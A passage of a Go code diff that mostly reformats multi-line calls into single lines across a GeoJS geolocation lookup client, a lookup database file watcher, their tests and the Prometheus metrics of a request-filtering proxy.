other := filepath.Join(dir, "replacement.mmdb")
|
||||||
writeDatabase(t, other, "KP")
|
writeDatabase(t, other, "KP")
|
||||||
|
|
||||||
//nolint:gosec // a file the test wrote
|
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
|
||||||
replacement, err := os.ReadFile(other)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read %s: %v", other, err)
|
t.Fatalf("read %s: %v", other, err)
|
||||||
}
|
}
|
||||||
@@ -195,20 +176,15 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
|||||||
wantCountry(t, f, "KP")
|
wantCountry(t, f, "KP")
|
||||||
|
|
||||||
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
||||||
t.Errorf(
|
t.Errorf("read at %s, with %d failures; want read now, with none",
|
||||||
"read at %s, with %d failures; want read now, with none",
|
f.LastRead(), f.ReadFailures())
|
||||||
f.LastRead(),
|
|
||||||
f.ReadFailures(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -230,12 +206,8 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
|||||||
wantCountry(t, f, "DE")
|
wantCountry(t, f, "DE")
|
||||||
|
|
||||||
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
||||||
t.Errorf(
|
t.Errorf("read at %s, with %d failures; want read at %s, with one",
|
||||||
"read at %s, with %d failures; want read at %s, with one",
|
f.LastRead(), f.ReadFailures(), read)
|
||||||
f.LastRead(),
|
|
||||||
f.ReadFailures(),
|
|
||||||
read,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue, alerts.Alert{
|
wantAlerts(t, queue, alerts.Alert{
|
||||||
@@ -317,11 +289,7 @@ func writeDatabase(t *testing.T, path, country string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: {
|
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
|
||||||
ASN: "AS64496",
|
|
||||||
ASName: "Example Net",
|
|
||||||
Country: country,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -381,8 +349,7 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != len(want) ||
|
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
||||||
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
|
||||||
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -74,7 +74,7 @@ type Params struct {
|
|||||||
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
||||||
// kept.
|
// kept.
|
||||||
Answered func(Answer)
|
Answered func(Answer)
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
// ProcessLog receives GeoJS's failures.
|
// ProcessLog receives GeoJS's failures.
|
||||||
ProcessLog *slog.Logger
|
ProcessLog *slog.Logger
|
||||||
@@ -211,10 +211,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
|||||||
|
|
||||||
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
||||||
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
||||||
func (g *GeoJS) LookUpWithoutWaiting(
|
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
|
||||||
ctx context.Context,
|
|
||||||
client netip.Prefix,
|
|
||||||
) Answer {
|
|
||||||
answer, _ := g.answerOrWait(ctx, client, false)
|
answer, _ := g.answerOrWait(ctx, client, false)
|
||||||
|
|
||||||
return answer
|
return answer
|
||||||
@@ -432,21 +429,14 @@ func (g *GeoJS) keep(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err == nil && leftOut > 0 {
|
if err == nil && leftOut > 0 {
|
||||||
err = fmt.Errorf(
|
err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
|
||||||
"%w %d of %d addresses",
|
|
||||||
errLeftOut,
|
|
||||||
leftOut,
|
|
||||||
len(clients),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
g.metrics.GeoJSFailures.Inc()
|
g.metrics.GeoJSFailures.Inc()
|
||||||
|
|
||||||
g.retryDelay = min(
|
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
||||||
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
maxRetryDelay)
|
||||||
maxRetryDelay,
|
|
||||||
)
|
|
||||||
g.retryAt = now.Add(g.retryDelay)
|
g.retryAt = now.Add(g.retryDelay)
|
||||||
g.asking = false
|
g.asking = false
|
||||||
|
|
||||||
@@ -492,12 +482,7 @@ func (g *GeoJS) request(
|
|||||||
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
|
||||||
ctx,
|
|
||||||
http.MethodGet,
|
|
||||||
g.url,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
||||||
}
|
}
|
||||||
@@ -529,8 +514,7 @@ func (g *GeoJS) request(
|
|||||||
CountryCode string `json:"country_code"`
|
CountryCode string `json:"country_code"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
|
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
|
||||||
Decode(&answers)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -85,13 +85,8 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
began := time.Now()
|
began := time.Now()
|
||||||
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 ||
|
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
|
||||||
answer != (lookup.Answer{}) {
|
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
|
||||||
t.Errorf(
|
|
||||||
"got %+v after %s, want no answer at once",
|
|
||||||
answer,
|
|
||||||
waited,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -105,11 +100,7 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
waitForCountry(t, g, clock, client, germany)
|
waitForCountry(t, g, clock, client, germany)
|
||||||
|
|
||||||
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
||||||
t.Errorf(
|
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
|
||||||
"the kept answer gives the country %q, want %q",
|
|
||||||
got,
|
|
||||||
germany,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -129,9 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
|
|
||||||
var earlier sync.WaitGroup
|
var earlier sync.WaitGroup
|
||||||
|
|
||||||
earlier.Go(
|
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
|
||||||
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
|
|
||||||
)
|
|
||||||
defer earlier.Wait()
|
defer earlier.Wait()
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -163,9 +152,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
|
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -210,11 +197,7 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if waited != longerTimeout {
|
if waited != longerTimeout {
|
||||||
t.Errorf(
|
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
|
||||||
"waited %s for the answer, want %s",
|
|
||||||
waited,
|
|
||||||
longerTimeout,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantFailures(t, m, 1)
|
wantFailures(t, m, 1)
|
||||||
@@ -357,11 +340,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
|
|||||||
|
|
||||||
got := g.LookUp(t.Context(), client)
|
got := g.LookUp(t.Context(), client)
|
||||||
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
||||||
t.Errorf(
|
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
|
||||||
"waited %s for %+v, want no wait and no answer",
|
|
||||||
took,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -412,10 +391,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged, "asking GeoJS failed") ||
|
if !strings.Contains(logged, "asking GeoJS failed") ||
|
||||||
strings.Contains(logged, "203.0.113.9") {
|
strings.Contains(logged, "203.0.113.9") {
|
||||||
t.Errorf(
|
t.Errorf("logged %q, want the failure without the address asked about", logged)
|
||||||
"logged %q, want the failure without the address asked about",
|
|
||||||
logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -454,10 +430,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
if queue.Suppressed() != 1 {
|
||||||
t.Errorf(
|
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
||||||
"%d alerts held back, want the repeat",
|
|
||||||
queue.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -481,21 +454,11 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
|
|||||||
clock.advance(time.Second)
|
clock.advance(time.Second)
|
||||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
||||||
wantRequests(t, geojs, 2)
|
wantRequests(t, geojs, 2)
|
||||||
wantAsked(
|
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
|
||||||
t,
|
|
||||||
geojs,
|
|
||||||
1,
|
|
||||||
"203.0.113.1",
|
|
||||||
"203.0.113.2",
|
|
||||||
"2001:db8:1:2::",
|
|
||||||
"203.0.113.3",
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
|
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -540,10 +503,7 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, requests+1)
|
asked := waitForRequests(t, geojs, requests+1)
|
||||||
if len(asked[requests]) != 23 {
|
if len(asked[requests]) != 23 {
|
||||||
t.Errorf(
|
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
|
||||||
"GeoJS was asked about %d clients, want 23",
|
|
||||||
len(asked[requests]),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -571,11 +531,8 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, 3)
|
asked := waitForRequests(t, geojs, 3)
|
||||||
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
||||||
t.Errorf(
|
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
|
||||||
"GeoJS was asked about %d and then %d clients, want 200 and 1",
|
len(asked[1]), len(asked[2]))
|
||||||
len(asked[1]),
|
|
||||||
len(asked[2]),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -730,11 +687,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case addr == unplaced:
|
case addr == unplaced:
|
||||||
item = map[string]any{
|
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
|
||||||
"ip": addr,
|
|
||||||
"asn": 64512,
|
|
||||||
"organization_name": "Unknown",
|
|
||||||
}
|
|
||||||
case addr == leftOut && answers == answeringWithoutLeftOut:
|
case addr == leftOut && answers == answeringWithoutLeftOut:
|
||||||
continue
|
continue
|
||||||
case answers == answeringInLowerCase:
|
case answers == answeringInLowerCase:
|
||||||
@@ -851,12 +804,7 @@ func newClients() func() netip.Prefix {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantCountry checks the country g gives client.
|
// wantCountry checks the country g gives client.
|
||||||
func wantCountry(
|
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
|
||||||
t *testing.T,
|
|
||||||
g *lookup.GeoJS,
|
|
||||||
client netip.Prefix,
|
|
||||||
want string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := g.LookUp(t.Context(), client).Country
|
got := g.LookUp(t.Context(), client).Country
|
||||||
@@ -895,11 +843,7 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
|
|||||||
|
|
||||||
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
||||||
// gone without an answer from GeoJS.
|
// gone without an answer from GeoJS.
|
||||||
func wantRequestsWithoutGeoJSAnswer(
|
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
|
||||||
t *testing.T,
|
|
||||||
m *metrics.Metrics,
|
|
||||||
want float64,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
||||||
@@ -939,11 +883,7 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
|
|||||||
// It then checks that client's next request does not wait but has it asked
|
// It then checks that client's next request does not wait but has it asked
|
||||||
// about again in the background, after which g gives it the country want.
|
// about again in the background, after which g gives it the country want.
|
||||||
func waitForCountry(
|
func waitForCountry(
|
||||||
t *testing.T,
|
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
|
||||||
g *lookup.GeoJS,
|
|
||||||
clock *testClock,
|
|
||||||
client netip.Prefix,
|
|
||||||
want string,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -45,11 +45,7 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
|
|||||||
|
|
||||||
// WriteRecords writes a lookup database at path that holds each record in
|
// WriteRecords writes a lookup database at path that holds each record in
|
||||||
// records for its netblock, and nothing for any other address.
|
// records for its netblock, and nothing for any other address.
|
||||||
func WriteRecords(
|
func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
|
||||||
tb testing.TB,
|
|
||||||
path string,
|
|
||||||
records map[string]mmdbtype.Map,
|
|
||||||
) {
|
|
||||||
tb.Helper()
|
tb.Helper()
|
||||||
|
|
||||||
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
||||||
|
|||||||
@@ -59,10 +59,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
|||||||
g.Load([]lookup.Answer{kept, stale})
|
g.Load([]lookup.Answer{kept, stale})
|
||||||
|
|
||||||
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
||||||
t.Errorf(
|
t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
|
||||||
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCountry(t, g, kept.Client, "FR")
|
wantCountry(t, g, kept.Client, "FR")
|
||||||
|
|||||||
@@ -41,11 +41,9 @@ type busiest struct {
|
|||||||
// for the topN busiest countries.
|
// for the topN busiest countries.
|
||||||
func newCountries(topN int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec(
|
countries.refused = counterVec("sww_country_list_refusals_total",
|
||||||
"sww_country_list_refusals_total",
|
|
||||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
[]string{"country"},
|
[]string{"country"})
|
||||||
)
|
|
||||||
|
|
||||||
return countries
|
return countries
|
||||||
}
|
}
|
||||||
@@ -92,11 +90,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
|
|||||||
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
||||||
// country, the refusals by the country list as well.
|
// country, the refusals by the country list as well.
|
||||||
func (b *busiest) vecs() []*prometheus.CounterVec {
|
func (b *busiest) vecs() []*prometheus.CounterVec {
|
||||||
vecs := []*prometheus.CounterVec{
|
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
|
||||||
b.requests,
|
|
||||||
b.requestBytes,
|
|
||||||
b.responseBytes,
|
|
||||||
}
|
|
||||||
if b.refused != nil {
|
if b.refused != nil {
|
||||||
vecs = append(vecs, b.refused)
|
vecs = append(vecs, b.refused)
|
||||||
}
|
}
|
||||||
|
|||||||
+45
-109
@@ -79,19 +79,14 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_requests_in_flight",
|
Name: "sww_requests_in_flight",
|
||||||
Help: "Requests under way.",
|
Help: "Requests under way.",
|
||||||
}),
|
}),
|
||||||
requests: counterVec(
|
requests: counterVec("sww_requests_total",
|
||||||
"sww_requests_total",
|
"Requests, by the class of their status and their action.", byStatus),
|
||||||
"Requests, by the class of their status and their action.",
|
|
||||||
byStatus,
|
|
||||||
),
|
|
||||||
requestBytes: counterVec("sww_request_bytes_total",
|
requestBytes: counterVec("sww_request_bytes_total",
|
||||||
"Request body bytes, by the class of the status and the action.",
|
"Request body bytes, by the class of the status and the action.",
|
||||||
byStatus),
|
byStatus),
|
||||||
responseBytes: counterVec(
|
responseBytes: counterVec("sww_response_bytes_total",
|
||||||
"sww_response_bytes_total",
|
|
||||||
"Response body bytes, by the class of the status and the action.",
|
"Response body bytes, by the class of the status and the action.",
|
||||||
byStatus,
|
byStatus),
|
||||||
),
|
|
||||||
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
||||||
Name: "sww_request_duration_seconds",
|
Name: "sww_request_duration_seconds",
|
||||||
Help: "How long requests took, from their arrival to their end.",
|
Help: "How long requests took, from their arrival to their end.",
|
||||||
@@ -100,20 +95,15 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_upstream_duration_seconds",
|
Name: "sww_upstream_duration_seconds",
|
||||||
Help: "How long requests passed to the app took, from then to their end.",
|
Help: "How long requests passed to the app took, from then to their end.",
|
||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec(
|
rateLimitHits: counterVec("sww_rate_limit_hits_total",
|
||||||
"sww_rate_limit_hits_total",
|
|
||||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its window and its kind, requests, bytes or refusals.",
|
||||||
[]string{"window", "kind"},
|
[]string{"window", "kind"}),
|
||||||
),
|
|
||||||
offences: counterVec("sww_offences_total",
|
offences: counterVec("sww_offences_total",
|
||||||
"Offences, by kind.", []string{"kind"}),
|
"Offences, by kind.", []string{"kind"}),
|
||||||
coreRuleSetMatches: counterVec(
|
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
||||||
"sww_core_rule_set_matches_total",
|
|
||||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||||
"and the rule's id.",
|
"and the rule's id.", []string{"mode", "rule_id"}),
|
||||||
[]string{"mode", "rule_id"},
|
|
||||||
),
|
|
||||||
countries: newCountries(topN),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(topN),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
@@ -124,41 +114,24 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_geojs_failures_total",
|
Name: "sww_geojs_failures_total",
|
||||||
Help: "Requests to GeoJS that failed.",
|
Help: "Requests to GeoJS that failed.",
|
||||||
}),
|
}),
|
||||||
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
|
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
prometheus.CounterOpts{
|
|
||||||
Name: "sww_requests_without_geojs_answer_total",
|
Name: "sww_requests_without_geojs_answer_total",
|
||||||
Help: "Requests that needed their client's answer from GeoJS and " +
|
Help: "Requests that needed their client's answer from GeoJS and " +
|
||||||
"went on without it, because GeoJS had not given it in time.",
|
"went on without it, because GeoJS had not given it in time.",
|
||||||
},
|
}),
|
||||||
),
|
|
||||||
stateFileWrites: counterVec("sww_state_file_writes_total",
|
stateFileWrites: counterVec("sww_state_file_writes_total",
|
||||||
"Writes of each state or cache file.", byFile),
|
"Writes of each state file.", byFile),
|
||||||
stateFileWriteFailures: counterVec(
|
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
|
||||||
"sww_state_file_write_failures_total",
|
"Writes of each state file that failed.", byFile),
|
||||||
"Writes of each state or cache file that failed.",
|
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
|
||||||
byFile,
|
"When each state file was last written, in seconds since 1970.", byFile),
|
||||||
),
|
stateFileSize: gaugeVec("sww_state_file_size_bytes",
|
||||||
stateFileLastWrite: gaugeVec(
|
"The size of each state file, as it was last written.", byFile),
|
||||||
"sww_state_file_last_write_timestamp_seconds",
|
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
|
||||||
"When each state or cache file was last written, in seconds since 1970.",
|
"Edits of each state file taken in while running.", byFile),
|
||||||
byFile,
|
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
|
||||||
),
|
"Edits of each state file renamed to <name>.bad because they did not parse.",
|
||||||
stateFileSize: gaugeVec(
|
byFile),
|
||||||
"sww_state_file_size_bytes",
|
|
||||||
"The size of each state or cache file, as it was last written.",
|
|
||||||
byFile,
|
|
||||||
),
|
|
||||||
stateFileEditsTakenIn: counterVec(
|
|
||||||
"sww_state_file_edits_taken_in_total",
|
|
||||||
"Edits of each state or cache file taken in while running.",
|
|
||||||
byFile,
|
|
||||||
),
|
|
||||||
stateFileEditsSetAside: counterVec(
|
|
||||||
"sww_state_file_edits_set_aside_total",
|
|
||||||
"Edits of each state or cache file renamed to <name>.bad because they "+
|
|
||||||
"did not parse.",
|
|
||||||
byFile,
|
|
||||||
),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
@@ -187,15 +160,13 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
for _, cause := range []string{
|
for _, cause := range []string{
|
||||||
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
||||||
} {
|
} {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
|
||||||
Name: "sww_bans_made_total",
|
Name: "sww_bans_made_total",
|
||||||
Help: "Bans made, by cause.",
|
Help: "Bans made, by cause.",
|
||||||
ConstLabels: prometheus.Labels{"cause": cause},
|
ConstLabels: prometheus.Labels{"cause": cause},
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(ledger.Made(cause))
|
return float64(ledger.Made(cause))
|
||||||
}),
|
}))
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
@@ -229,11 +200,9 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
// ruleFiles, read as the metrics are asked for. It is called once, before
|
// ruleFiles, read as the metrics are asked for. It is called once, before
|
||||||
// RuleMatched.
|
// RuleMatched.
|
||||||
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||||
m.ruleMatches = counterVec(
|
m.ruleMatches = counterVec("sww_rule_matches_total",
|
||||||
"sww_rule_matches_total",
|
|
||||||
"Requests that matched a rule of the rule files, by its id and action.",
|
"Requests that matched a rule of the rule files, by its id and action.",
|
||||||
[]string{"rule_id", "action"},
|
[]string{"rule_id", "action"})
|
||||||
)
|
|
||||||
|
|
||||||
m.registry.MustRegister(m.ruleMatches,
|
m.registry.MustRegister(m.ruleMatches,
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
@@ -276,10 +245,7 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
|||||||
// returns, and the replacements of it that could not be read, which
|
// returns, and the replacements of it that could not be read, which
|
||||||
// readFailures returns. The lookup package's File, which has both, cannot
|
// readFailures returns. The lookup package's File, which has both, cannot
|
||||||
// be named here: that package counts GeoJS's requests in these metrics.
|
// be named here: that package counts GeoJS's requests in these metrics.
|
||||||
func (m *Metrics) AddLookupFile(
|
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
|
||||||
lastRead func() time.Time,
|
|
||||||
readFailures func() int,
